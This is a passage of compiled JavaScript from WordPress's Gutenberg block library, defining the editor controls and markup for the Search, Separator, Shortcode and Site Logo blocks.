              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
                import_components145.SelectControl,
                {
                  value: buttonPosition,
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n220.__)(&quot;Button position&quot;),
                  onChange: (value) =&gt; {
                    setAttributes({
                      buttonPosition: value,
                      isSearchFieldHidden: value === &quot;button-only&quot;
                    });
                  },
                  options: buttonPositionControls
                }
              )
            }
          ),
          buttonPosition !== &quot;no-button&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
            import_components145.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!buttonUseIcon,
              label: (0, import_i18n220.__)(&quot;Use button with icon&quot;),
              onDeselect: () =&gt; {
                setAttributes({
                  buttonUseIcon: false
                });
              },
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
                import_components145.ToggleControl,
                {
                  checked: buttonUseIcon,
                  label: (0, import_i18n220.__)(&quot;Use button with icon&quot;),
                  onChange: (value) =&gt; setAttributes({
                    buttonUseIcon: value
                  })
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
            import_components145.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!width,
              label: (0, import_i18n220.__)(&quot;Width&quot;),
              onDeselect: () =&gt; {
                setAttributes({
                  width: void 0,
                  widthUnit: void 0
                });
              },
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime421.jsxs)(import_components145.__experimentalVStack, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
                  import_components145.__experimentalUnitControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n220.__)(&quot;Width&quot;),
                    id: unitControlInputId,
                    min: isPercentageUnit(widthUnit) ? 0 : MIN_WIDTH,
                    max: isPercentageUnit(widthUnit) ? 100 : void 0,
                    step: 1,
                    onChange: (newWidth) =&gt; {
                      const parsedNewWidth = newWidth === &quot;&quot; ? void 0 : parseInt(newWidth, 10);
                      setAttributes({
                        width: parsedNewWidth
                      });
                    },
                    onUnitChange: (newUnit) =&gt; {
                      setAttributes({
                        width: &quot;%&quot; === newUnit ? PC_WIDTH_DEFAULT : PX_WIDTH_DEFAULT,
                        widthUnit: newUnit
                      });
                    },
                    __unstableInputWidth: &quot;80px&quot;,
                    value: `${width}${widthUnit}`,
                    units
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
                  import_components145.__experimentalToggleGroupControl,
                  {
                    label: (0, import_i18n220.__)(&quot;Percentage Width&quot;),
                    value: PERCENTAGE_WIDTHS.includes(width) &amp;&amp; widthUnit === &quot;%&quot; ? width : void 0,
                    hideLabelFromVision: true,
                    onChange: (newWidth) =&gt; {
                      setAttributes({
                        width: newWidth,
                        widthUnit: &quot;%&quot;
                      });
                    },
                    isBlock: true,
                    __next40pxDefaultSize: true,
                    children: PERCENTAGE_WIDTHS.map((widthValue) =&gt; {
                      return /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
                        import_components145.__experimentalToggleGroupControlOption,
                        {
                          value: widthValue,
                          label: (0, import_i18n220.sprintf)(
                            /* translators: %d: Percentage value. */
                            (0, import_i18n220.__)(&quot;%d%%&quot;),
                            widthValue
                          )
                        },
                        widthValue
                      );
                    })
                  }
                )
              ] })
            }
          )
        ]
      }
    ) }) });
    const isNonZeroBorderRadius = (radius) =&gt; radius !== void 0 &amp;&amp; parseInt(radius, 10) !== 0;
    const padBorderRadius = (radius) =&gt; isNonZeroBorderRadius(radius) ? `calc(${radius} + ${DEFAULT_INNER_PADDING})` : void 0;
    const getWrapperStyles = () =&gt; {
      const styles = isButtonPositionInside ? borderProps.style : {
        borderRadius: borderProps.style?.borderRadius,
        borderTopLeftRadius: borderProps.style?.borderTopLeftRadius,
        borderTopRightRadius: borderProps.style?.borderTopRightRadius,
        borderBottomLeftRadius: borderProps.style?.borderBottomLeftRadius,
        borderBottomRightRadius: borderProps.style?.borderBottomRightRadius
      };
      if (isButtonPositionInside) {
        if (typeof borderRadius === &quot;object&quot;) {
          const {
            borderTopLeftRadius,
            borderTopRightRadius,
            borderBottomLeftRadius,
            borderBottomRightRadius
          } = borderProps.style;
          return {
            ...styles,
            borderTopLeftRadius: padBorderRadius(borderTopLeftRadius),
            borderTopRightRadius: padBorderRadius(borderTopRightRadius),
            borderBottomLeftRadius: padBorderRadius(
              borderBottomLeftRadius
            ),
            borderBottomRightRadius: padBorderRadius(
              borderBottomRightRadius
            )
          };
        }
        const radius = Number.isInteger(borderRadius) ? `${borderRadius}px` : borderRadius;
        styles.borderRadius = `calc(${radius} + ${DEFAULT_INNER_PADDING})`;
      }
      return styles;
    };
    const blockProps = (0, import_block_editor231.useBlockProps)({
      className: getBlockClassNames(),
      style: {
        ...typographyProps.style,
        // Input opts out of text decoration.
        textDecoration: void 0
      }
    });
    const labelClassnames = clsx_default(
      &quot;wp-block-search__label&quot;,
      typographyProps.className
    );
    return /* @__PURE__ */ (0, import_jsx_runtime421.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      controls,
      showLabel &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime421.jsx)(
        import_block_editor231.RichText,
        {
          identifier: &quot;label&quot;,
          className: labelClassnames,
          &quot;aria-label&quot;: (0, import_i18n220.__)(&quot;Label text&quot;),
          placeholder: (0, import_i18n220.__)(&quot;Add label\u2026&quot;),
          withoutInteractiveFormatting: true,
          value: label,
          onChange: (html) =&gt; setAttributes({ label: html }),
          style: typographyProps.style
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime421.jsxs)(
        import_components145.ResizableBox,
        {
          size: {
            width: width === void 0 ? &quot;auto&quot; : `${width}${widthUnit}`,
            height: &quot;auto&quot;
          },
          className: clsx_default(
            &quot;wp-block-search__inside-wrapper&quot;,
            isButtonPositionInside ? borderProps.className : void 0
          ),
          style: getWrapperStyles(),
          minWidth: MIN_WIDTH,
          enable: getResizableSides(),
          onResizeStart: (event, direction, elt) =&gt; {
            setAttributes({
              width: parseInt(elt.offsetWidth, 10),
              widthUnit: &quot;px&quot;
            });
            toggleSelection(false);
          },
          onResizeStop: (event, direction, elt, delta) =&gt; {
            setAttributes({
              width: parseInt(width + delta.width, 10)
            });
            toggleSelection(true);
          },
          showHandle: isSelected,
          children: [
            (isButtonPositionInside || isButtonPositionOutside || hasOnlyButton) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime421.jsxs)(import_jsx_runtime421.Fragment, { children: [
              renderTextField(),
              renderButton()
            ] }),
            hasNoButton &amp;&amp; renderTextField()
          ]
        }
      )
    ] });
  }

  // packages/block-library/build-module/search/variations.mjs
  var import_i18n221 = __toESM(require_i18n(), 1);
  var variations15 = [
    {
      name: &quot;default&quot;,
      isDefault: true,
      attributes: { buttonText: (0, import_i18n221.__)(&quot;Search&quot;), label: (0, import_i18n221.__)(&quot;Search&quot;) }
    }
  ];
  var variations_default15 = variations15;

  // packages/block-library/build-module/search/index.mjs
  var { fieldsKey: fieldsKey17, formKey: formKey17 } = unlock(import_blocks102.privateApis);
  var { name: name96 } = block_default95;
  var settings95 = {
    icon: search_default,
    example: {
      attributes: { buttonText: (0, import_i18n222.__)(&quot;Search&quot;), label: (0, import_i18n222.__)(&quot;Search&quot;) },
      viewportWidth: 400
    },
    variations: variations_default15,
    edit: SearchEdit
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings95[fieldsKey17] = [
      {
        id: &quot;label&quot;,
        label: (0, import_i18n222.__)(&quot;Label&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      },
      {
        id: &quot;buttonText&quot;,
        label: (0, import_i18n222.__)(&quot;Button text&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      },
      {
        id: &quot;placeholder&quot;,
        label: (0, import_i18n222.__)(&quot;Placeholder&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings95[formKey17] = {
      fields: [&quot;label&quot;, &quot;buttonText&quot;, &quot;placeholder&quot;]
    };
  }
  var init95 = () =&gt; initBlock({ name: name96, metadata: block_default95, settings: settings95 });

  // packages/block-library/build-module/separator/index.mjs
  var separator_exports = {};
  __export(separator_exports, {
    init: () =&gt; init96,
    metadata: () =&gt; block_default96,
    name: () =&gt; name97,
    settings: () =&gt; settings96
  });

  // packages/block-library/build-module/separator/edit.mjs
  var import_block_editor232 = __toESM(require_block_editor(), 1);
  var import_components146 = __toESM(require_components(), 1);
  var import_i18n223 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/separator/use-deprecated-opacity.mjs
  var import_element117 = __toESM(require_element(), 1);
  var import_compose53 = __toESM(require_compose(), 1);
  function useDeprecatedOpacity(opacity, currentColor, setAttributes) {
    const [deprecatedOpacityWithNoColor, setDeprecatedOpacityWithNoColor] = (0, import_element117.useState)(false);
    const previousColor = (0, import_compose53.usePrevious)(currentColor);
    (0, import_element117.useEffect)(() =&gt; {
      if (opacity === &quot;css&quot; &amp;&amp; !currentColor &amp;&amp; !previousColor) {
        setDeprecatedOpacityWithNoColor(true);
      }
    }, [currentColor, previousColor, opacity]);
    (0, import_element117.useEffect)(() =&gt; {
      if (opacity === &quot;css&quot; &amp;&amp; (deprecatedOpacityWithNoColor &amp;&amp; currentColor || previousColor &amp;&amp; currentColor !== previousColor)) {
        setAttributes({ opacity: &quot;alpha-channel&quot; });
        setDeprecatedOpacityWithNoColor(false);
      }
    }, [deprecatedOpacityWithNoColor, currentColor, previousColor]);
  }

  // packages/block-library/build-module/separator/edit.mjs
  var import_jsx_runtime422 = __toESM(require_jsx_runtime(), 1);
  var HtmlElementControl = ({ tagName, setAttributes }) =&gt; {
    return /* @__PURE__ */ (0, import_jsx_runtime422.jsx)(
      import_components146.SelectControl,
      {
        label: (0, import_i18n223.__)(&quot;HTML element&quot;),
        value: tagName,
        onChange: (newValue) =&gt; setAttributes({ tagName: newValue }),
        options: [
          { label: (0, import_i18n223.__)(&quot;Default (&lt;hr&gt;)&quot;), value: &quot;hr&quot; },
          { label: &quot;&lt;div&gt;&quot;, value: &quot;div&quot; }
        ],
        help: tagName === &quot;hr&quot; ? (0, import_i18n223.__)(
          &quot;Only select &lt;hr&gt; if the separator conveys important information and should be announced by screen readers.&quot;
        ) : (0, import_i18n223.__)(
          &quot;The &lt;div&gt; element should only be used if the block is a design element with no semantic meaning.&quot;
        ),
        __next40pxDefaultSize: true
      }
    );
  };
  function SeparatorEdit({ attributes: attributes2, setAttributes }) {
    const { backgroundColor, opacity, style: style2, tagName } = attributes2;
    const colorProps = (0, import_block_editor232.__experimentalUseColorProps)(attributes2);
    const currentColor = colorProps?.style?.backgroundColor;
    const hasCustomColor = !!style2?.color?.background;
    useDeprecatedOpacity(opacity, currentColor, setAttributes);
    const colorClass = (0, import_block_editor232.getColorClassName)(&quot;color&quot;, backgroundColor);
    const className = clsx_default(
      {
        &quot;has-text-color&quot;: backgroundColor || currentColor,
        [colorClass]: colorClass,
        &quot;has-css-opacity&quot;: opacity === &quot;css&quot;,
        &quot;has-alpha-channel-opacity&quot;: opacity === &quot;alpha-channel&quot;
      },
      colorProps.className
    );
    const styles = {
      color: currentColor,
      backgroundColor: currentColor
    };
    const Wrapper = tagName === &quot;hr&quot; ? import_components146.HorizontalRule : tagName;
    return /* @__PURE__ */ (0, import_jsx_runtime422.jsxs)(import_jsx_runtime422.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime422.jsx)(import_block_editor232.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime422.jsx)(
        HtmlElementControl,
        {
          tagName,
          setAttributes
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime422.jsx)(
        Wrapper,
        {
          ...(0, import_block_editor232.useBlockProps)({
            className,
            style: hasCustomColor ? styles : void 0
          })
        }
      )
    ] });
  }

  // packages/block-library/build-module/separator/block.json
  var block_default96 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/separator&quot;,
    title: &quot;Separator&quot;,
    category: &quot;design&quot;,
    description: &quot;Create a break between ideas or sections with a horizontal separator.&quot;,
    keywords: [&quot;horizontal-line&quot;, &quot;hr&quot;, &quot;divider&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      opacity: {
        type: &quot;string&quot;,
        default: &quot;alpha-channel&quot;
      },
      tagName: {
        type: &quot;string&quot;,
        enum: [&quot;hr&quot;, &quot;div&quot;],
        default: &quot;hr&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;center&quot;, &quot;wide&quot;, &quot;full&quot;],
      color: {
        enableContrastChecker: false,
        __experimentalSkipSerialization: true,
        gradients: true,
        background: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;]
      },
      interactivity: {
        clientNavigation: true
      }
    },
    styles: [
      { name: &quot;default&quot;, label: &quot;Default&quot;, isDefault: true },
      { name: &quot;wide&quot;, label: &quot;Wide Line&quot; },
      { name: &quot;dots&quot;, label: &quot;Dots&quot; }
    ],
    editorStyle: &quot;wp-block-separator-editor&quot;,
    style: &quot;wp-block-separator&quot;
  };

  // packages/block-library/build-module/separator/save.mjs
  var import_block_editor233 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime423 = __toESM(require_jsx_runtime(), 1);
  function separatorSave({ attributes: attributes2 }) {
    const { backgroundColor, style: style2, opacity, tagName: Tag } = attributes2;
    const customColor = style2?.color?.background;
    const colorProps = (0, import_block_editor233.__experimentalGetColorClassesAndStyles)(attributes2);
    const colorClass = (0, import_block_editor233.getColorClassName)(&quot;color&quot;, backgroundColor);
    const className = clsx_default(
      {
        &quot;has-text-color&quot;: backgroundColor || customColor,
        [colorClass]: colorClass,
        &quot;has-css-opacity&quot;: opacity === &quot;css&quot;,
        &quot;has-alpha-channel-opacity&quot;: opacity === &quot;alpha-channel&quot;
      },
      colorProps.className
    );
    const styles = {
      backgroundColor: colorProps?.style?.backgroundColor,
      color: colorClass ? void 0 : customColor
    };
    return /* @__PURE__ */ (0, import_jsx_runtime423.jsx)(Tag, { ...import_block_editor233.useBlockProps.save({ className, style: styles }) });
  }

  // packages/block-library/build-module/separator/transforms.mjs
  var import_blocks103 = __toESM(require_blocks(), 1);
  var transforms29 = {
    from: [
      {
        type: &quot;input&quot;,
        regExp: /^-{3,}$/,
        transform: () =&gt; [
          (0, import_blocks103.createBlock)(&quot;core/separator&quot;),
          (0, import_blocks103.createBlock)((0, import_blocks103.getDefaultBlockName)())
        ]
      },
      {
        type: &quot;raw&quot;,
        selector: &quot;hr&quot;,
        schema: {
          hr: {}
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/spacer&quot;],
        // Transform to Spacer.
        transform: ({ anchor }) =&gt; {
          return (0, import_blocks103.createBlock)(&quot;core/spacer&quot;, {
            anchor: anchor || void 0
          });
        }
      }
    ]
  };
  var transforms_default30 = transforms29;

  // packages/block-library/build-module/separator/deprecated.mjs
  var import_block_editor234 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime424 = __toESM(require_jsx_runtime(), 1);
  var v140 = {
    attributes: {
      color: {
        type: &quot;string&quot;
      },
      customColor: {
        type: &quot;string&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { color, customColor } = attributes2;
      const backgroundClass = (0, import_block_editor234.getColorClassName)(&quot;background-color&quot;, color);
      const colorClass = (0, import_block_editor234.getColorClassName)(&quot;color&quot;, color);
      const className = clsx_default({
        &quot;has-text-color has-background&quot;: color || customColor,
        [backgroundClass]: backgroundClass,
        [colorClass]: colorClass
      });
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customColor,
        color: colorClass ? void 0 : customColor
      };
      return /* @__PURE__ */ (0, import_jsx_runtime424.jsx)(&quot;hr&quot;, { ...import_block_editor234.useBlockProps.save({ className, style: style2 }) });
    },
    migrate(attributes2) {
      const { color, customColor, ...restAttributes } = attributes2;
      return {
        ...restAttributes,
        backgroundColor: color ? color : void 0,
        opacity: &quot;css&quot;,
        style: customColor ? { color: { background: customColor } } : void 0,
        tagName: &quot;hr&quot;
      };
    }
  };
  var deprecated_default45 = [v140];

  // packages/block-library/build-module/separator/index.mjs
  var { name: name97 } = block_default96;
  var settings96 = {
    icon: separator_default,
    example: {
      attributes: {
        customColor: &quot;#065174&quot;,
        className: &quot;is-style-wide&quot;
      }
    },
    transforms: transforms_default30,
    edit: SeparatorEdit,
    save: separatorSave,
    deprecated: deprecated_default45
  };
  var init96 = () =&gt; initBlock({ name: name97, metadata: block_default96, settings: settings96 });

  // packages/block-library/build-module/shortcode/index.mjs
  var shortcode_exports = {};
  __export(shortcode_exports, {
    init: () =&gt; init97,
    metadata: () =&gt; block_default97,
    name: () =&gt; name98,
    settings: () =&gt; settings97
  });

  // packages/block-library/build-module/shortcode/edit.mjs
  var import_i18n224 = __toESM(require_i18n(), 1);
  var import_block_editor235 = __toESM(require_block_editor(), 1);
  var import_compose54 = __toESM(require_compose(), 1);
  var import_components147 = __toESM(require_components(), 1);
  var import_jsx_runtime425 = __toESM(require_jsx_runtime(), 1);
  function ShortcodeEdit({ attributes: attributes2, setAttributes }) {
    const instanceId = (0, import_compose54.useInstanceId)(ShortcodeEdit);
    const inputId = `blocks-shortcode-input-${instanceId}`;
    return /* @__PURE__ */ (0, import_jsx_runtime425.jsx)(&quot;div&quot;, { ...(0, import_block_editor235.useBlockProps)(), children: /* @__PURE__ */ (0, import_jsx_runtime425.jsx)(import_components147.Placeholder, { icon: shortcode_default, label: (0, import_i18n224.__)(&quot;Shortcode&quot;), children: /* @__PURE__ */ (0, import_jsx_runtime425.jsx)(
      import_block_editor235.PlainText,
      {
        className: &quot;blocks-shortcode__textarea&quot;,
        id: inputId,
        value: attributes2.text,
        &quot;aria-label&quot;: (0, import_i18n224.__)(&quot;Shortcode text&quot;),
        placeholder: (0, import_i18n224.__)(&quot;Write shortcode here\u2026&quot;),
        onChange: (text) =&gt; setAttributes({ text })
      }
    ) }) });
  }

  // packages/block-library/build-module/shortcode/save.mjs
  var import_element118 = __toESM(require_element(), 1);
  var import_jsx_runtime426 = __toESM(require_jsx_runtime(), 1);
  function save45({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime426.jsx)(import_element118.RawHTML, { children: attributes2.text });
  }

  // packages/block-library/build-module/shortcode/transforms.mjs
  var import_autop = __toESM(require_autop(), 1);
  var transforms30 = {
    from: [
      {
        type: &quot;shortcode&quot;,
        // Per &quot;Shortcode names should be all lowercase and use all
        // letters, but numbers and underscores should work fine too.
        // Be wary of using hyphens (dashes), you&#039;ll be better off not
        // using them.&quot; in https://codex.wordpress.org/Shortcode_API
        // Require that the first character be a letter. This notably
        // prevents footnote markings ([1]) from being caught as
        // shortcodes.
        tag: &quot;[a-z][a-z0-9_-]*&quot;,
        attributes: {
          text: {
            type: &quot;string&quot;,
            shortcode: (attrs, { content }) =&gt; {
              return (0, import_autop.removep)((0, import_autop.autop)(content));
            }
          }
        },
        priority: 20
      }
    ]
  };
  var transforms_default31 = transforms30;

  // packages/block-library/build-module/shortcode/block.json
  var block_default97 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/shortcode&quot;,
    title: &quot;Shortcode&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Insert additional custom elements with a WordPress shortcode.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      text: {
        type: &quot;string&quot;,
        source: &quot;raw&quot;,
        role: &quot;content&quot;
      }
    },
    supports: {
      className: false,
      customClassName: false,
      html: false,
      customCSS: false,
      visibility: false
    },
    editorStyle: &quot;wp-block-shortcode-editor&quot;
  };

  // packages/block-library/build-module/shortcode/index.mjs
  var { name: name98 } = block_default97;
  var settings97 = {
    icon: shortcode_default,
    transforms: transforms_default31,
    edit: ShortcodeEdit,
    save: save45
  };
  var init97 = () =&gt; initBlock({ name: name98, metadata: block_default97, settings: settings97 });

  // packages/block-library/build-module/site-logo/index.mjs
  var site_logo_exports = {};
  __export(site_logo_exports, {
    init: () =&gt; init98,
    metadata: () =&gt; block_default98,
    name: () =&gt; name99,
    settings: () =&gt; settings98
  });

  // packages/block-library/build-module/site-logo/block.json
  var block_default98 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/site-logo&quot;,
    title: &quot;Site Logo&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display an image to represent this site. Update this block and the changes apply everywhere.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      width: {
        type: &quot;number&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: true,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      },
      shouldSyncIcon: {
        type: &quot;boolean&quot;
      }
    },
    example: {
      viewportWidth: 500,
      attributes: {
        width: 350,
        className: &quot;block-editor-block-types-list__site-logo-example&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      align: true,
      alignWide: false,
      color: {
        text: false,
        background: false
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      interactivity: {
        clientNavigation: true
      },
      filter: {
        duotone: true
      }
    },
    styles: [
      {
        name: &quot;default&quot;,
        label: &quot;Default&quot;,
        isDefault: true
      },
      { name: &quot;rounded&quot;, label: &quot;Rounded&quot; }
    ],
    selectors: {
      filter: {
        duotone: &quot;.wp-block-site-logo img, .wp-block-site-logo .components-placeholder__illustration, .wp-block-site-logo .components-placeholder::before&quot;
      }
    },
    editorStyle: &quot;wp-block-site-logo-editor&quot;,
    style: &quot;wp-block-site-logo&quot;
  };

  // packages/block-library/build-module/site-logo/edit.mjs
  var import_blob18 = __toESM(require_blob(), 1);
  var import_element119 = __toESM(require_element(), 1);
  var import_i18n225 = __toESM(require_i18n(), 1);
  var import_components148 = __toESM(require_components(), 1);
  var import_compose55 = __toESM(require_compose(), 1);
  var import_block_editor236 = __toESM(require_block_editor(), 1);
  var import_data131 = __toESM(require_data(), 1);
  var import_core_data79 = __toESM(require_core_data(), 1);
  var import_notices17 = __toESM(require_notices(), 1);
  var import_jsx_runtime427 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES9 = [&quot;image&quot;];
  var SiteLogo = ({
    alt,
    attributes: { align, width, height, isLink, linkTarget, shouldSyncIcon },
    isSelected,
    setAttributes,
    setLogo,
    logoUrl,
    siteUrl,
    logoId,
    iconId,
    setIcon,
    canUserEdit
  }) =&gt; {
    const isLargeViewport = (0, import_compose55.useViewportMatch)(&quot;medium&quot;);
    const isWideAligned = [&quot;wide&quot;, &quot;full&quot;].includes(align);
    const isResizable = !isWideAligned &amp;&amp; isLargeViewport;
    const [{ naturalWidth, naturalHeight }, setNaturalSize] = (0, import_element119.useState)({});
    const [isEditingImage, setIsEditingImage] = (0, import_element119.useState)(false);
    const { toggleSelection } = (0, import_data131.useDispatch)(import_block_editor236.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const blockEditingMode = (0, import_block_editor236.useBlockEditingMode)();
    const isContentOnlyMode = blockEditingMode === &quot;contentOnly&quot;;
    const { imageEditing, maxWidth, title } = (0, import_data131.useSelect)((select9) =&gt; {
      const settings122 = select9(import_block_editor236.store).getSettings();
      const siteEntities = select9(import_core_data79.store).getEntityRecord(
        &quot;root&quot;,
        &quot;__unstableBase&quot;
      );
      return {
        title: siteEntities?.name,
        imageEditing: settings122.imageEditing,
        maxWidth: settings122.maxWidth
      };
    }, []);
    (0, import_element119.useEffect)(() =&gt; {
      if (shouldSyncIcon &amp;&amp; logoId !== iconId) {
        setAttributes({ shouldSyncIcon: false });
      }
    }, []);
    (0, import_element119.useEffect)(() =&gt; {
      if (!isSelected) {
        setIsEditingImage(false);
      }
    }, [isSelected]);
    function onResizeStart() {
      toggleSelection(false);
    }
    function onResizeStop() {
      toggleSelection(true);
    }
    const img = /* @__PURE__ */ (0, import_jsx_runtime427.jsxs)(import_jsx_runtime427.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        &quot;img&quot;,
        {
          className: &quot;custom-logo&quot;,
          src: logoUrl,
          alt,
          onLoad: (event) =&gt; {
            setNaturalSize({
              naturalWidth: event.target.naturalWidth,
              naturalHeight: event.target.naturalHeight
            });
          }
        }
      ),
      (0, import_blob18.isBlobURL)(logoUrl) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_components148.Spinner, {})
    ] });
    let imgWrapper = img;
    if (isLink) {
      imgWrapper = /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        &quot;a&quot;,
        {
          href: siteUrl,
          className: &quot;custom-logo-link&quot;,
          rel: &quot;home&quot;,
          title,
          onClick: (event) =&gt; event.preventDefault(),
          children: img
        }
      );
    }
    if (!isResizable || !naturalWidth || !naturalHeight) {
      return /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(&quot;div&quot;, { style: { width, height }, children: imgWrapper });
    }
    const defaultWidth = 120;
    const currentWidth = width || defaultWidth;
    const ratio = naturalWidth / naturalHeight;
    const currentHeight = currentWidth / ratio;
    const minWidth = naturalWidth &lt; naturalHeight ? MIN_SIZE2 : Math.ceil(MIN_SIZE2 * ratio);
    const minHeight = naturalHeight &lt; naturalWidth ? MIN_SIZE2 : Math.ceil(MIN_SIZE2 / ratio);
    const maxWidthBuffer = maxWidth * 2.5;
    let showRightHandle = false;
    let showLeftHandle = false;
    if (align === &quot;center&quot;) {
      showRightHandle = true;
      showLeftHandle = true;
    } else if ((0, import_i18n225.isRTL)()) {
      if (align === &quot;left&quot;) {
        showRightHandle = true;
      } else {
        showLeftHandle = true;
      }
    } else {
      if (align === &quot;right&quot;) {
        showLeftHandle = true;
      } else {
        showRightHandle = true;
      }
    }
    const canEditImage = logoId &amp;&amp; naturalWidth &amp;&amp; naturalHeight &amp;&amp; imageEditing;
    const shouldShowCropAndDimensions = !isContentOnlyMode;
    let imgEdit;
    if (canEditImage &amp;&amp; isEditingImage) {
      imgEdit = /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        import_block_editor236.__experimentalImageEditor,
        {
          id: logoId,
          url: logoUrl,
          width: currentWidth,
          height: currentHeight,
          naturalHeight,
          naturalWidth,
          onSaveImage: (imageAttributes) =&gt; {
            setLogo(imageAttributes.id);
          },
          onFinishEditing: () =&gt; {
            setIsEditingImage(false);
          }
        }
      );
    } else {
      imgEdit = /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
        import_components148.ResizableBox,
        {
          size: {
            width: currentWidth,
            height: currentHeight
          },
          showHandle: isSelected &amp;&amp; shouldShowCropAndDimensions,
          minWidth,
          maxWidth: maxWidthBuffer,
          minHeight,
          maxHeight: maxWidthBuffer / ratio,
          lockAspectRatio: true,
          enable: {
            top: false,
            right: showRightHandle,
            bottom: true,
            left: showLeftHandle
          },
          onResizeStart,
          onResizeStop: (event, direction, elt, delta) =&gt; {
            onResizeStop();
            setAttributes({
              width: parseInt(currentWidth + delta.width, 10),
              height: parseInt(currentHeight + delta.height, 10)
            });
          },
          children: imgWrapper
        }
      );
    }
    const shouldUseNewUrl = !window?.__experimentalUseCustomizerSiteLogoUrl;
    const siteIconSettingsUrl = shouldUseNewUrl ? siteUrl + &quot;/wp-admin/options-general.php&quot; : siteUrl + &quot;/wp-admin/customize.php?autofocus[section]=title_tagline&quot;;
    const syncSiteIconHelpText = (0, import_element119.createInterpolateElement)(
      (0, import_i18n225.__)(
        &quot;Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. To use a custom icon that is different from your site logo, use the &lt;a&gt;Site Icon settings&lt;/a&gt;.&quot;
      ),
      {
        a: (
          // eslint-disable-next-line jsx-a11y/anchor-has-content
          /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
            &quot;a&quot;,
            {
              href: siteIconSettingsUrl,
              target: &quot;_blank&quot;,
              rel: &quot;noopener noreferrer&quot;
            }
          )
        )
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime427.jsxs)(import_jsx_runtime427.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(import_block_editor236.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime427.jsxs)(
        import_components148.__experimentalToolsPanel,
        {
          label: (0, import_i18n225.__)(&quot;Settings&quot;),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              import_components148.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                hasValue: () =&gt; !!width,
                label: (0, import_i18n225.__)(&quot;Image width&quot;),
                onDeselect: () =&gt; setAttributes({ width: void 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
                  import_components148.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n225.__)(&quot;Image width&quot;),
                    onChange: (newWidth) =&gt; setAttributes({ width: newWidth }),
                    min: minWidth,
                    max: maxWidthBuffer,
                    initialPosition: Math.min(
                      defaultWidth,
                      maxWidthBuffer
                    ),
                    value: width || &quot;&quot;,
                    disabled: !isResizable
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime427.jsx)(
              import_components148.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                hasValue: () =&gt; !isLink,
                label: (0, import_i18n225.__)(&quot;Link image to home&quot;),
                onDeselect: () =&gt; setAttributes({ isLink: true }),
